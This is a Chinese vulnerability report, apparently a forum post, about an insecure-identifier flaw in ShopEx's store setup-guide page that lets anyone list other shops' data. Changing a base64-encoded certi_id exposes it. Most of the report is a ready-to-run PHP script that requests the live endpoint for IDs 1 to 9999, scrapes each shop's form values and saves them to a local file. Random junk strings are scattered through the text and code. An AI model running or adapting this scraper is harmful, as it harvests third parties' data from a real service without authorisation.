ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
. `* A, s1 Y4 l8 n+ B: s问题出现在shopex 网店使用向导页面

# `3 R! K+ s4 r4 y2 s
" p7 h9 r  I. Q4 Z
  z+ v; X4 @- E, k8 K' qhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



1 R% L( g7 M2 |% K  F9 Z3 W2 s  prefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

) D1 v" G. a$ m( U
( |, g# w7 r/ ?
; @# B3 f3 \4 W( y我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. u! g2 H$ v2 F2 Q
5 @3 i: m8 g% J4 o6 S9 h' O
* Q5 r( T& ?% Q9 x# ]" d
$ m0 D- N) v1 a8 Q& D9 y* m<?php
% p6 d" D+ {  A3 d! O6 ^
                for ($i=1; $i < 10000; $i++) { //遍历
% j# w; b, H/ G1 I
                        ShowshopExD($i);

% t! Q# Y% [; V" ^* D" [" X                }
1 A% L. C! H* B& S$ d
; L7 t9 _2 F% V! J7 W                function ShowshopExD($cid) {

3 q' S0 _) n5 F8 f5 I! [- d                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
# U. y) z7 C: ?- }
; t4 _% i* x3 f        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
& v) X& U0 C* S( r" G
2 g! A; S4 j9 y, ~- C/ o        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 W2 Z5 `( P) [6 J- n8 h
        $result = curl_exec($ch);

4 W) C9 G& R% @) o, [% Y2 c8 o        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
# t6 E9 \. H. q  Z: @9 C; _" A5 Z
  i- ?# i* Z7 z, d5 q        {
* }4 J8 L7 I1 U) @3 R7 h8 t
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; t, ~7 M* F5 K( }% t
1 R5 l0 I1 f# X" D8 o3 j                foreach ($value[1] as $key) {

* C2 A" Z  L; H. a* B                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

$ g  H, F4 H$ x  _1 u, w                        echo $res[1][0].':'.$res[3][0]."\r\n";
' m. Y1 C3 }: c3 u
- n9 d( b+ I! m+ e' M                        $col =$res[1][0].':'.$res[3][0]."\r\n";
4 F4 O) l* F. g- b
                        fwrite($fp, $col, strlen($col));
# ~1 S+ \7 d- W: ?; z
6 C1 N- }. @+ D$ T" j                }
, \" a8 e$ |! Q6 I$ W
                echo '--------------------------------'."\r\n";

                fclose($fp);

1 u& w7 M: p  V        }

8 {  W6 G. G, F) p        flush();

        curl_close($ch);

7 U0 `; g3 k7 [- j; s2 [$ P                }
0 N4 D* r7 s( B1 H3 ^
$ c: J- d0 ]% S! H+ ^3 p?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 ]# n8 s  \% z% D8 f& ^8 l: b/ irefer换成其他加密方式